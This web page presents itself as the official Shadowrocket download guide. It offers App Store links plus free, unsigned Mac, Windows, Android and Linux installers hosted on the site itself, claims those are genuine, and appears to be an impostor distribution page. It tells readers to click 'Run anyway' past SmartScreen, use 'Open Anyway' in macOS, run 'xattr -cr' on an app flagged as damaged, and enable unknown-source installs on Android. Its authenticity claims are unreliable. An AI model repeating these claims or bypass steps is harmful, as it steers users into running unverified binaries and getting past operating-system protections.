Official Guide / Download & Install

Download Shadowrocket
Install on Any Platform

Choose the installer for your device. iPhone and iPad cost $2.99 once in the App Store; Mac, Windows, Android and Linux are free.

Current version v2.2.92 · iPhone and iPad cost $2.99 once in the App Store; Mac, Windows, Android and Linux are free

Download source
iPhone / iPad: App Store
Other platforms: this site's /dl/
Current installer version
v2.2.92
Developer
Shadow Launch Technology Limited
App Store App ID
932747118

Installation is only the first step. Prepare your own subscription or server details in advance and import them after installation; downloading the client does not automatically provide a server. The sections below cover platform selection, first launch, store regions and purchase recovery.

Downloads for all platforms

Check your operating system first, then confirm the chip or architecture. The automatic device-detection button is a shortcut, not a substitute for checking your device details. If the detected platform does not match your device, use the relevant card below. Mac has installers for two chip architectures, and Linux offers three package formats; choose the file that fits your system.

There are two pricing tiers: iPhone and iPad cost $2.99 once in the App Store; Mac, Windows, Android and Linux are free. Installers for the latter four platforms are hosted under this site's /dl/shadowrocket/ directory.

iPhone / iPad

$2.99 one-time purchase. Buy and install from the App Store product page. One purchase under the same Apple ID covers iPhone and iPad; Mac, Windows, Android and Linux versions are free.

System requirements: iOS / iPadOS 13.0 or later; check the App Store product page for the listed requirements.

On the product page, verify the developer and App ID before confirming the purchase as prompted by the store. If the page says the app is unavailable, check the store region first. If you have purchased it before, look in purchased items before assuming you need to buy it again.

Mac

Free. DMG installers are available for Apple Silicon and Intel. iPhone and iPad cost $2.99 once in the App Store; Windows, Android and Linux are also free.

System requirements: macOS 12 or later. Choose the file for your device's chip.

When the download is complete, open the DMG, drag Shadowrocket to Applications, then launch it from the Applications folder. If a developer verification prompt appears on first launch, follow the macOS instructions below. Do not run the app from the disk image for extended use. Quit the client before updating.

Not sure which one to choose? Open About This Mac and check Chip / Processor. The buttons correspond to different architectures, not feature tiers.

Windows

Free. The Windows installer is available from this site. iPhone and iPad cost $2.99 once in the App Store; Mac, Android and Linux are also free.

Installer architecture: 64-bit x64; .exe file format.

Check your system type under Settings → System → About, then download and run the installer. If your browser or SmartScreen shows a warning, first confirm that the file came from this page, then follow the instructions below for that file. Work-managed computers may restrict installation; follow the administrator's settings.

Android

Free. Use the arm64 installer from this site. iPhone and iPad cost $2.99 once in the App Store; Mac, Windows and Linux are also free.

Installer architecture: arm64, .apk format; suitable for most phones and tablets from recent years.

After downloading, open the file and follow the system prompt to allow your current browser to install unknown apps. You can revoke this permission after installation. If tapping the link in WeChat does not start the download, open the top-right menu, choose to open it in a browser, and return to this page. If a parsing error appears, check the architecture and download first; do not repeatedly change system settings.

Linux

Free. Choose a package format for your distribution. iPhone and iPad cost $2.99 once in the App Store; Mac, Windows and Android are also free.

Installer architecture: x86_64; the architecture name for deb is amd64.

Use .deb for Debian / Ubuntu, .rpm for Fedora / openSUSE, or AppImage for other distributions. Confirm your device architecture and choose the package format suited to your distribution. These files are not for ARM devices. AppImage requires execute permission after downloading; package format does not indicate a different feature tier.

Installers and system security prompts

Installers for Mac, Windows, Android and Linux are not code-signed, so the system may block them on first launch. First confirm that the download URL is under this site's /dl/shadowrocket/ directory, then follow the prompt shown on your device. The steps below apply only to the installer or app in question; there is no need to disable system-wide protection. If the prompt differs from those shown here, note its full text before proceeding.

First-install prompts and steps for each platform
Platform and prompt Steps Check after completion
Windows
SmartScreen: “Windows protected your PC”
In the prompt window, select “More info,” review the app information, then choose “Run anyway” and continue with the installer. If that option is unavailable, check whether the device is managed by an organization. After installation, launch Shadowrocket from the Start menu. Do not disable all security protection just to run one installer.
macOS
“Cannot verify developer”
Move the app to Applications and try to open it. Then go to System Settings → Privacy & Security, find the blocked app record, select “Open Anyway,” and confirm as prompted. Open it again from the Applications folder. The option to allow the app usually appears only after you have tried to open it. Menu wording may vary slightly between system versions.
macOS
App is reported as “damaged”
After confirming the app came from this site and has been moved to Applications, open Terminal and run:
xattr -cr /Applications/Shadowrocket.app
The command applies only to the specified app path. Try opening the app afterward. If it is not at that path, move it to the correct directory rather than broadening the command's scope.
Android
“Allow installation of unknown apps”
Follow the installation prompt to open the permission page for the current source. Enable “Allow from this source” for the browser used to download the file, then return to the installer. The permission is granted to the browser or file manager, not to all apps. After installation, you can return to the same page and turn off installation permission for that source.
Linux / AppImage
File is not executable
Open a terminal in the directory containing the file. The example uses a shorter local filename: first rename the downloaded file to Shadowrocket.AppImage, then run:
chmod +x ./Shadowrocket.AppImage
./Shadowrocket.AppImage
The filename in the command must match the local file. If it still will not launch, check the terminal error and then review your distribution's runtime environment.
Linux / Debian, Ubuntu
Install a local deb package
Use the package manager from the download directory. The example first renames the local installer to Shadowrocket.deb:
sudo apt install ./Shadowrocket.deb
Review the package manager output and launch the app after confirming installation succeeded. Fedora / openSUSE should use the corresponding rpm file and the system's software installation tool.

After installation, import details before connecting

On first launch, find Home and check the current server list. Manage an existing subscription through Subscribe, or enter server details manually with Add Server. The system may then ask to add a VPN configuration or grant network-related permissions. Check the app name in the prompt before deciding whether to allow it. Successful installation, granted permissions and a reachable server are three different states; being able to open the app does not confirm that a connection is available.

Before updating, keep your subscription details and configuration backup. Update the iPhone / iPad app in the App Store; for other platforms, download the current installer from this page. An app update does not replace a subscription update. Check separately in Subscribe whether the subscription needs to refresh its contents. For iPhone / iPad steps after installation, continue with the Getting Started guide. For organizing and updating servers, see the Server Management Manual.

App Store and account region

The app is not available in the App Store in mainland China. If you cannot find Shadowrocket in the App Store, first check the country or region associated with the Apple ID used for Media & Purchases. Your system language, device location and browser language do not directly determine which store content is visible to your account.

Check the account used for purchases

  1. Open Settings on your device, tap the Apple ID account at the top, then find Media & Purchases. Check the account used for store purchases separately; the sign-in status of other system services does not confirm it.
  2. Go to View Account and complete verification as requested, then check Country/Region. This page shows the store region for the current purchase account.
  3. After confirming the account information, open the product page using the App Store button on this page. If the page still says the app is unavailable in your region, check the account status further rather than assuming the app has not been released.

Use the system settings to change regions

The path is Settings → Apple ID → Media & Purchases → View Account → Country/Region. Read the conditions on the page before deciding whether to proceed. Account balance, active subscriptions, Family Sharing and payment details may affect a region change; opening this setting does not guarantee that a change can be completed.

This section covers store availability and account settings only. Do not change account details arbitrarily to find the app; first consider how a region change may affect existing purchases and services. Mac, Windows, Android and Linux use the platform installers on this page and do not require this store-region process.

Verify the official Shadowrocket app

The app name is only the first check. For iPhone and iPad, also verify the developer, official icon and App ID. For other platforms, check the installer path on this site and the device architecture. Verify the specific product page or file, not just a search result title.

App Store: check three details

  1. Developer: Shadow Launch Technology Limited. Check the developer information on the product page rather than relying on a search result with a similar name.
  2. Official icon: a rocket outlined in blue and purple on a white background. Use the icon as an additional check alongside the developer information and product page address.
  3. App ID: 932747118. The number in the product page URL should match. All App Store buttons on this page link to that product page.

iPhone and iPad cost $2.99 once in the App Store; other storefronts show local currency. Mac, Windows, Android and Linux are free. A new listing with the same name shown as free in the App Store is an imitation; do not confuse it with the cloud download button shown in purchased items.

Other platforms: verify the file source

Official Mac, Windows, Android and Linux installers are under this site's /dl/shadowrocket/ path. Start the download from the button for your platform on this page; a matching filename alone does not verify the source. You can usually check the download URL in your browser's download history.

Then check the format and architecture: Mac distinguishes Apple Silicon and Intel, Windows uses x64, Android uses arm64, and Linux uses x86_64. A system security prompt does not verify the source or indicate whether the file suits your device. Confirm the source first, then follow this page's installation guidance.

Shadowrocket is a closed-source commercial application. Use the official installers and the steps in this official guide. Do not identify a product based only on a similar name or appearance.

Restore purchases and migrate settings

Restoring the app and restoring personal settings are separate processes. The former depends on store purchase history or the platform installer; the latter depends on the subscription, server details and configuration backup you have saved.

iPhone / iPad: redownload from purchased items

Sign in on the new device with the Apple ID originally used for the purchase. Open App Store → Account → Purchased, find Shadowrocket, and tap to redownload. Some system versions place this entry under the Apps list; use the purchased apps entry on the account page. One purchase under the same Apple ID covers both iPhone and iPad.

The pricing remains the same: iPhone and iPad cost $2.99 once in the App Store; Mac, Windows, Android and Linux are free. If the page still shows a price after purchase, first check whether the current store account matches the original purchase account, then review purchase history. Do not confirm another payment immediately. Purchases from different accounts cannot be automatically combined just because they are on the same device.

After restoring the app, check your personal data

After opening the app, check whether your server is listed under Home. If the list is empty, import your existing subscription or enter saved server details with Add Server. If you use rule files, check whether they have been restored in Config. Store purchase history restores eligibility to get the app; it does not migrate servers or rule files.

Before changing devices, keep your subscription address and necessary configuration safe. Avoid posting a complete subscription URL publicly; it may contain access credentials, so transfer it only between your own devices. After importing, check Global Routing, the current server and system VPN permissions again before testing the connection.

Mac / Windows / Android / Linux: download and reinstall

Return to this page, choose the installer for the new device, follow the system instructions, and import your own subscription or server details. When changing platforms, confirm the architecture again; do not use an installer downloaded for the old device on a different operating system. After migrating configuration files, check each supported setting. Importing a file does not guarantee that every option has taken effect.

Two prices, two ways to get the app

iPhone and iPad cost $2.99 once in the App Store, with one purchase shared by both devices under the same Apple ID; there is no monthly client fee. Mac, Windows, Android and Linux are free. Other App Store storefronts show local currency; the final amount is shown on the purchase confirmation page.

Get the computer and Android versions by downloading the relevant installer from this site; get the iPhone and iPad versions from the App Store product page. These two options describe the client price and download source, not different server service tiers. They also do not mean that a platform includes a ready-to-use connection.

The app uses server parameters to establish connections, and handles traffic according to Config and Global Routing. Check the server address, port, authentication details and subscription status against your own information. If the app is installed but you do not have server details, import them first rather than repeatedly reinstalling the app.

If the app opens but webpages do not load, troubleshoot in this order: server status, Global Routing, DNS and rule matches. This download page covers app acquisition and installation. For connection issues, see the Subscription and Server Management Manual. If interface terms are unfamiliar, consult the Glossary. Identify which step has the problem before deciding what to do next.

Download and installation FAQ

These answers cover device selection, system prompts and purchase history. If you selected the wrong installer, return to the platform card and check again; repeatedly allowing a file will not fix an architecture mismatch.

Can I use Shadowrocket on a computer or Android phone?

Yes. Mac (Apple Silicon and Intel), Windows, Android and Linux versions are free; download the appropriate installer from this site. iPhone and iPad cost $2.99 once in the App Store. All platforms require your own subscription or server details.

Should I download the Apple Silicon or Intel version for Mac?

Open About This Mac from the Apple menu. Choose Apple Silicon if the Chip field shows Apple Silicon, or Intel if the Processor field shows Intel. Both installers require macOS 12 or later. Check the system information rather than judging by the computer's appearance.

What should I do if Windows warns that the file may be risky?

First confirm that the file was downloaded from this site's /dl/shadowrocket/ directory and is the 64-bit Windows installer. If SmartScreen says “Windows protected your PC,” select “More info,” then choose “Run anyway.” If the device is organization-managed and that option is unavailable, contact the administrator. Do not disable system-wide protection.

Why can't I find Shadowrocket in the App Store?

This applies to iPhone and iPad only. The app is not available in the App Store in mainland China, and the country or region associated with your Apple ID determines which store content is visible. Check the account region under Settings → Apple ID → Media & Purchases → Country/Region, then check the product page. Region changes are also subject to conditions involving balances, subscriptions and Family Sharing.

Do I have to pay again when I change devices or reinstall?

iPhone and iPad cost $2.99 once in the App Store. The same Apple ID can redownload the app from purchased items, and one purchase covers both devices. Mac, Windows, Android and Linux versions are free and can be downloaded again after changing devices. After reinstalling, import your own subscription or server details.

Can I install it on iPad, and is the purchase shared with iPhone?

Yes. iPhone and iPad use the same App Store product page, and one $2.99 purchase under the same Apple ID covers both. Mac, Windows, Android and Linux versions are free. Check the App Store product page for the iPhone and iPad system requirements.